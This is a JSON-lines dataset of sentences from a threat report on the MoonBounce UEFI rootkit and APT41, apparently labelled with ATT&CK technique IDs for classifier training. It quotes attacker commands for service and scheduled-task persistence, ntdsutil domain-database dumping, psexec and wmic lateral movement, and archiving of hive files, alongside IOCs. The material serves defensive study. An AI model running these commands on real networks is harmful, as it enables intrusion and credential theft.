{"sentence": "Loader Filename Loader MD5 Shellcode Filename C&C Address Compilation Timestamp wbwkem.dll 4D5EB9F6F501B4F6EDF981A3C6C4D6FA compwm.bin dev.kinopoisksu[.]com Friday, 12.06.2020 08:25:02 UTC wkbem.dll E7155C355C90DC113476DDCF765B187D pcomnl.bin Unknown Tuesday, 24.03.2020 09:09:21 UTC wmiwk.dll 899608DE6B59C63B4AE219C3C13502F5 wmipl.dll ns.glbaitech[.]com Saturday, 20.02.2021 06:45:18 UTC c_20344.nls 4EF90CEEF2CC9FF3121B34A9891BB28D – 217.69.10[.]104 Tuesday, 24.03.2020 09:09:21 UTC c_20334.nls CFF2772C44F6F86661AB0A4FFBF86833 – st.kinopoisksu[.]com Tuesday, 24.03.2020 09:09:21 UTC Another loader that we detected and is commonly used to load ScrambleCross is .NET based, referred to as StealthMutant.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It works by decrypting a shellcode BLOB with AES-256 and injecting it to the address space of another process.", "labels": ["T1055", "T1140"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The injected process in every case we observed was msdt.exe (Microsoft Diagnostic Troubleshooting Wizard).", "labels": ["T1055"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "StealthMutant is launched in one of two ways, which were partially described in other reports as well.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The first way is by executing a launcher utility with the filename System.Mail.Service.dll (MD5: 5F9020983A61446A77AF1976247C443D) through the command line as a service.", "labels": ["T1059.003", "T1569.002"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This is outlined in the following commands typed by the attackers on one of the compromised systems:net start \"iscsiwmi\" sc stop iscsiwmi sc delete iscsiwmi reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v", "labels": ["T1112"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"iscsiwmi\" /t", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "REG_MULTI_SZ /d", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"iscsiwmi\" /f sc create \"iscsiwmi\" binPath= \"$system32\\svchost.exe -k iscsiwmi\" type= share start= auto error= ignore DisplayName= \"iscsiwmi\" SC failure \"iscsiwmi\" reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description \"iscsiwmi\" \"\"iSCSI WMI Classes That Manage Initiators, Ports, Sessions and Connections\"\" reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\iscsiwmi\\Parameters\" /f reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\iscsiwmi\\Parameters\" /v", "labels": ["T1112"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"ServiceDll\" /t", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "REG_EXPAND_SZ /d \"$windir\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "NET\\Framework64\\v4.0.30319\\System.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Mail.Service.dll\" /f net start \"iscsiwmi\" The launching utility in turn uses the .NET InstallUtil.exe application in order to execute the StealthMutant image, which has the filename Microsoft.Service.Watch.targets, and providing it with the encrypted ScrambleCross shellcode as an argument from a file named MstUtil.exe.config.", "labels": ["T1027"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The utility itself is a basic C++ program that achieves the aforementioned goal by issuing the following command line using the WinExec API:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", "labels": ["T1059.003", "T1106"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/logfile= /LogToConsole", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "=false /ConfigFile=MstUtil.exe.config /U C:\\Windows\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "NET\\Framework64\\v4.0.30319\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Service.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Watch.targets", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The second way to execute StealthMutant is through the creation of a scheduled task via a Windows batch script file named schtask.bat, as outlined below:@echo off cd /d", "labels": ["T1053.005", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"%~dp0\" copy /Y", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Microsoft.Service.Watch.targets", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Watch.targets\" copy /Y", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MstUtil.exe.config \"C:\\Windows\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "NET\\Framework64\\v4.0.30319\\MstUtil.exe.config\" schtasks /create", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/TN \"\\Microsoft\\Windows\\UNP\\UNPRefreshListTask\" /SC ONSTART /TR", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile=", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/LogToConsole", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/F /DELAY 0000:02 /RU SYSTEM /RL HIGHEST schtasks /run", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/TN \"\\Microsoft\\Windows\\UNP\\UNPRefreshListTask\" The following table lists known StealthMutant loader IOCs, together with their corresponding ScrambleCross shellcode files and contacted C2 addresses.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It’s worth noting that most of the ScrambleCross shellcodes (loaded by both StealthMutant and StealthVector) reached out to the same server (i.e. ns.glbaitech[.]com) and that StealthMutant was observed in this campaign only from February, 2021.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Loader MD5 C&C Address Compilation Timestamp 0603C8AAECBDC523CBD3495E93AFB20C 92.38.178[.]246 Tuesday, 23.03.2021 08:00:44 UTC ns.glbaitech[.]com 8C7598061D1E8741B8389A80BFD8B8F5", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "ns.glbaitech[.]com Saturday, 20.02.2021 03:27:42 UTC F9F9D6FB3CB94B1CDF9E437141B59E16 ns.glbaitech[.]com Wednesday, 08.12.2021 07:07:28", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "UTC", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition to the above components, we found other stagers and post-exploitation malware implants during our research, some of which were attributed to or have been used by known Chinese-speaking threat actors: Microcin: a backdoor typically used by the SixLittleMonkeys threat actor, which we have been tracking since 2016.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It is worth noting that since its inception, the SixLittleMonkeys group has been using Microcin against various targets, partly against high-profile entities based in Russia and Central Asia.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The implants we observed in this campaign are shipped as DLLs that ought to run in the context of exe, with the primary intent of reading a C2 address from an encrypted configuration file stored in %WINDIR%\\debug\\netlogon.cfg and reaching out to the server to obtain a further payload.", "labels": ["T1027", "T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Interestingly, the Trojan holds a scheduling algorithm that would skip any work on Saturdays, checking the local time every hour to determine if Saturday has passed.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Mimikat_ssp: a publicly available post-exploitation tool used to dump credentials and security secrets from exe, also used widely by various Chinese-speaking actors (e.g. GhostEmperor, which we reported on).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Go implant: a formerly unknown backdoor used to contact a C2 server using a RESTful API, where a combination of a hardcoded IP address and a hypermedia directory path on the underlying server are used for information exchange.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Both the IP and the server directory path are encrypted with AES-128 using a base64 encoded key stored in the backdoor’s image.", "labels": ["T1573.001"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The IP and directory path tuple are used during execution for: Initialising communications with the server; Sending information from the infected host; Requesting a specific server path containing a command for execution and downloading it;", "labels": ["T1041"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Sending back the result of the command’s execution to the C2 server.", "labels": ["T1041", "T1573.001"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The commands retrieved from the server are also encrypted with AES-128, with the key stored in the command’s file itself.", "labels": ["T1573.001"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Command execution results are then encrypted using the same key.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "We found the following list of supported commands: Get list of drives; Get content list from a specified directory; Download a file from the C2 server; Write text to a given *.bat file and execute it; Run a shell command.", "labels": ["T1059.003", "T1083", "T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It is important to note that we could not conclusively tie most of those additional pieces of malware to the intrusion set related to MoonBounce, with the exception of Microcin, where some timeline artefacts coincide with other events related to ScrambleCross, as outlined in the figure below.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This suggests a low-confidence connection between Microcin and MoonBounce and may indicate usage of shared resources between SixLittleMonkeys and APT41 or involvement of the former’s operators in the MoonBounce activity.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Timeline of events related to artefacts found in the network containing the MoonBounce-infected machine Who were the targets?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Currently, our detections indicate a very targeted nature of the attack – the presence of the firmware rootkit was detected in a single case.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Other affiliated malicious samples (e.g. ScrambleCross and its loaders) were found on multiple other machines in the same network range.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition, we found several other victims of an undetermined nature with the same versions of ScrambleCross reaching out to the same command and control infrastructure.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "One particular target corresponds to an organization in control of several enterprises dealing with transport technology.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "What were the attackers trying to achieve?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "We traced some of the commands executed by the attackers after gaining a foothold in the network, which point to lateral movement and exfiltration of information from particular machines.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This aligns in profile with some of the previous operations by APT41, wherein intrusions were typically made to intervene in the targeted companies’ supply chain, or to heist sensitive intellectual property and personally identifiable information.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The usage of the UEFI implant in particular indicates the actor’s aim to establish a longstanding foothold within the network, as would be expected in an ongoing espionage activity.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The following are examples of command lines that portray some of the methods and actions taken by the operators of this threat activity to achieve their goals: Attempts to enumerate hosts and gather network information: cmd /C", "labels": ["T1033", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & whoami\" cmd /C", "labels": ["T1033", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net view\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & -setcp 866\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & netstat -ano\" cmd /C", "labels": ["T1083"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & dir $temp\\ /od\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & arp -a\" cmd /C", "labels": ["T1016", "T1057"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & tasklist\" cmd /C", "labels": ["T1057", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & tracert <redacted_internal_ip>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net use \\\\<redacted_internal_ip> /u:<redacted_username> <redacted_password>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net view \\\\<redacted_internal_ip>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & ping -n 1 -a <redacted_internal_ip>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net use * /d /y\" cmd /C", "labels": ["T1082"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & systeminfo\" Copying of files across SMB shares, followed by an attempt to dump the Active Directory domain database (tid): cmd /C", "labels": ["T1059.003", "T1082", "T1570"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & echo ntdsutil \\\"ac", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "i ntds\\\" \\\"ifm\\\" \\\"create full $temp\\1\\\\\\\" q q >$temp\\a.bat cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & type $temp\\a.bat cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & move $temp\\a.bat \\\\<redacted_internal_ip>\\c$\\windows\\temp\\\\ Usage of the Sysinternals Psexec tool for remote command execution in the network (as the renamed version tmp): $temp\\TS_P61S.tmp -accepteula -d -s \\\\<redacted_internal_ip1>\\ cmd /c", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"arp -a >$temp\\TS_P34H.tmp\" $temp\\TS_P61S.tmp -accepteula -d -s \\\\<redacted_internal_ip2>\\ cmd /c \"ping <redacted_internal_ip2> -a -n", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "2>$temp\\TS_P34H.tmp\" $temp\\TS_P61S.tmp -accepteula -d -s \\\\<redacted_internal_ip3>\\ cmd /c \"ping -n 2 -a <redacted_internal_ip2>>$temp\\TS_P34H.tmp\" Usage of WMI for remote command execution: wmic /node:<redacted_internal_ip1> /user:<redacted_group>\\<redacted_user>", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c ping -n 1 -a <redacted_internal_ip4> >$temp\\a.tmp wmic /node:<redacted_internal_ip2> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c netstat -ano >$temp\\a.tmp wmic /node:<redacted_internal_ip2> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c tracert <redacted_internal_ip4>>$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c ipconfig /all", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": ">$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "> /password:<readcted_password> process call create \"cmd /c qwinsta >$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c net user administrator >$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c net user admin >$temp\\a.tmp Removal of artefacts from the system: cmd /C", "labels": ["T1059.003", "T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & dir $temp\\*.hive\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & del $temp\\*.hive\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & dir $temp\\*.log\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & type $temp\\silconfig.log\" File archiving of remotely collected files, some of which contain *.hive files, possibly for LSA secrets dumping, with the exe command line utility: cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & $temp\\rar.exe a -r wef.rar \\\\<redacted_internal_ip1>\\c$\\windows\\temp\\1 -hp2wsxcde34rfv7788.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\" c:\\windows\\temp\\rar.exe a -r c:\\windows\\temp\\873.rar \\\\<redacted_internal_ip2>\\c$\\windows\\temp\\*.hive -hp5tgbnhy67ujm3256 Network infrastructure The main cluster of infrastructure serving the activity of the UEFI implant and ScrambleCross implants is outlined in the table below.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Note that the attackers maintained the infrastructure from at least March 2020, with some servers seemingly still active at the end of 2021 .", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "During the time the actor switched between multiple hosting providers, resulting in a scattered infrastructure across several ASNs.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Domain IP ASN mb.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN ns.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN 172.107.231[.]236 AS40676 dev.kinopoisksu[.]com 172.107.231[.]236 AS40676 193.29.57[.]161 AS48314 – IP-PROJECTS st.kinopoisksu[.]com 136.244.100[.]127 AS20473 – AS-CHOOPA – 217.69.10[.]104 AS20473 – AS-CHOOPA – 92.38.178[.]246 AS202422 –", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "GHOST A careful inspection of the infrastructure shows multiple connections between the servers.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It is evident that MoonBounce’s user-mode stager and a few ScrambleCross instances reached out to a single domain, which resolved to the same IP at one point.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition, there were several overlaps in IPs to which the domains resolved as outlined in the figure below, including one IP that was used to park two domains at different points in time.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Connections between infrastructure elements of MoonBounce and ScrambleCross implants found on the same network Another important commonality is a unique self-signed SSL certificate, exhibited by multiple servers in this campaign (and only a few dozen others in the wild), which represents a noteworthy fingerprint of the attacker’s network activity.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition to the above cluster, we detected two servers related to Microcin’s activity on the same network: Domain IP ASN m.necemarket[.]com 172.105.94[.]67 AS63949 – LINODE holdmem.dbhubspi[.]com 5.188.93[.]132 AS202422 – G-Core Labs Who is behind the MoonBounce attack?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "To the best of our knowledge, the activity described in this report can be attributed to a group widely known as APT41, or an actor closely affiliated to it, with medium to high confidence.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In part, our findings align with multiple public accounts from the previous year of either APT41 or other threat actors, namely Earth Baku and SparklingGoblin, which are believed to be alternative names for APT41 or share significant resources and TTPs with it.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Our conclusion, in particular, is done based on the following factors: The loading schemes for ScrambleCross, including the usage of StealthVector and StealthMutant in the infection chain, are identical to those observed leveraged by Earth Baku and SparklingGoblin.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Apart from the loaders themselves, their launchers seem identical.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The attackers used the unique TTP of initiating the loader execution through exe in all cases observed by us.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Particularly Install.bat, as used by Earth Baku and described in the public report by Trend Micro mentioned earlier, is highly similar to the sequence of commands used to execute the InstallUtil launcher in our case.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The ScrambleCross malware itself, which has been reported in use with both Earth Baku and SparklingGoblin, is considered a variant of CROSSWALK, a piece of malware that was described originally by Mandiant as an APT41 tool and remains distinct to the group, to the best of our knowledge.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "A unique certificate retrieved from multiple ScrambleCross C2 servers in the campaign described in this report was sent as a response in a few other dozen servers in the wild, a few of them have been previously reported by the FBI as being part of an APT41-owned infrastructure.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Additionally, the following observations are worth mentioning: The user-mode malware stager deployed by the UEFI implant contains a scheduling logic that is somewhat similar to one seen in Microcin samples (some of which were also found on infected hosts in this campaign).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This suggests that these groups may be related through shared resources or a prime contractor.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The said scheduling algorithm found in the stager can take a 672-bit bitmask to determine when the malware should start beaconing the C2 server in an attempt to retrieve the payload, whereby the scheduled working time can be decided in a granularity of 15-minute slots (i.e. the stager checks if it is supposed to run in a particular slot out of the 672 possibilities that constitute a full week, or alternatively sleep for 10 seconds before checking if it has reached a dedicated working slot again).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "A similar scheduling methodology occurs in the case of Microcin, but with a bitmask that simply represents the days of the week on which the malware ought to be active.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Scheduling code used in MoonBounce’s user-mode stager", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The Mimikat_ssp tool found on a few machines in the targeted network has been seen in use by multiple Chinese-speaking threat actors in the past.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "One recent example is its use in the campaigns of GhostEmperor, as described in a previous report.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Some elements of shellcode leveraged in MoonBounce were spotted in an old rootkit that was part of a malicious framework dubbed xTalker, which has been seen in the wild since at least 2013, alongside several malware families affiliated to known actors, e.g. NetTraveler, Enfal and Microcin.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It was prominently used against Russian-speaking targets including military, governmental entities and think-tanks.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Both components shared a similar name-hashing algorithm, which is outlined below, along with unique corresponding function name hashes (e.g. 0x311B83F, the name hash of ExAllocatePool) that were not seen in use elsewhere in the wild.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Name-hashing algorithm used identically in both MoonBounce and xTalker’s rootkit In addition, both pieces of code used a technique of replacing magic marker values within shellcode buffers with pointer addresses during runtime.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MoonBounce’s code used the marker 0x1122334455667788, while the xTalker rootkit’s code used 0x1234567812345678.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Magic marker values replaced during execution within shellcodes in xTalker’s rootkit and MoonBounce In the case of xTalker, the above code elements were found within shellcode intended to be staged through an MBR bootkit.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "However, it is not clear to what extent it was actually used.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This may suggest that the MoonBounce and xTalker codes were authored by the same, or a closely affiliated, developer.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Conclusion In September 2020, the US Department of Justice released a series of indictments against members of the APT41 group, charging them with a high number of computer intrusions against a variety of targets, both in the private and public sectors, some of which included high-profile supply chain attacks.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The intrusion set described in this report, and in other public accounts we referred to, shows that the group did not cease to be active despite these legal proceedings.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Moreover, it is evident that the group maintains a high level of proficiency and sophistication in the development of its toolset, gaining a foothold in new areas like UEFI firmware.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In this sense, the group has introduced its own innovation to this landscape – patching an existing benign core component in the firmware (rather than adding a new driver to it), thereby turning the UEFI firmware into a highly stealthy and persistent storage for malware in the system.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Following previous predictions, we can now say that UEFI threats are gradually becoming a norm.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "With this in mind, vendors are taking more precautions to mitigate attacks like MoonBounce, for example by enabling Secure Boot by default.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "We assess that, in this ongoing arms race, attacks against UEFI will continue to proliferate, with attackers evolving and finding ways to exploit and bypass current security measures.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "As a safety measure against this attack and similar ones, it is recommended to update the UEFI firmware regularly and verify that BootGuard, where applicable, is enabled.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Likewise, enabling Trust Platform Modules, in case a corresponding hardware is supported on the machine, is also advisable.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "On top of all, a security product that has visibility into the firmware images should add an extra layer of security, alerting the user on a potential compromise if such occurs.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MoonBounce’ indicators of compromise EFI Rootkit – Malicious CORE_DXE D94962550B90DDB3F80F62BD96BD9858 Modified WMI DLL Launcher C3B153347AED27435A18E789D8B67E0A StealthVector 4D5EB9F6F501B4F6EDF981A3C6C4D6FA E7155C355C90DC113476DDCF765B187D 899608DE6B59C63B4AE219C3C13502F5 4EF90CEEF2CC9FF3121B34A9891BB28D CFF2772C44F6F86661AB0A4FFBF86833 InstallUtil Launcher 5F9020983A61446A77AF1976247C443D StealthMutant 0603C8AAECBDC523CBD3495E93AFB20C 8C7598061D1E8741B8389A80BFD8B8F5 F9F9D6FB3CB94B1CDF9E437141B59E16 Microcin 5FE6CE9C48D0AE98EC2CA1EC9759AAD9 50FF717A8E3106DDBF00FB42212879C5 D98614600775781673B6DF397CC4F476 Go Implant C9B250099E2DD27BB4170836AC480FE0 97EF7B8FCDCB0C0D9FBB93D0F7E6E3B6 Mimikat_SSP 4E4388D7967E0433D400C60475974D50 5F1C7602688E67F299F5BD533FA07880 xTalker Rootkit 45E862964EF4EFDEA181F3927D20E96D 4BC82105403974AA24BF02CFB66B8F7C Domains and IPs mb.glbaitech[.]com – MoonBounce ns.glbaitech[.]com – ScrambleCross dev.kinopoisksu[.]com – ScrambleCross st.kinopoisksu[.]com – ScrambleCross 188.166.61[.]146 – ScrambleCross 172.107.231[.]236 – ScrambleCross 193.29.57[.]161 – ScrambleCross 136.244.100[.]127 – ScrambleCross 217.69.10[.]104 – ScrambleCross 92.38.178[.]246 – ScrambleCross m.necemarket[.]com – Microcin 172.105.94[.]67 – Microcin holdmem.dbhubspi[.]com – Microcin 5.188.93[.]132 – Go malware 5.189.222[.]33 – Go malware 5.183.103[.]122 – Go malware 5.188.108[.]228 – Go malware 45.128.132[.]6 – Go malware 92.223.105[.]246 – Go malware 5.183.101[.]21 – Go malware 5.183.101[.]114 – Go malware 45.128.135[.]15 – Go malware 5.188.108[.]22 – Go malware 70.34.201[.]16 – Go malware File Names wbwkem.dll – StealthVector wkbem.dll – StealthVector wmiwk.dll – StealthVector C_20344.nls – StealthVector C_20334.nls – StealthVector compwm.bin – ScrambleCross Shellcode pcomnl.bin – ScrambleCross Shellcode wmipl.dll – ScrambleCross encrypted shellcode Microsoft.Service.Watch.targets – StealthMutant MstUtil.exe.config –", "labels": [], "doc_title": "MoonBounce the dark side of 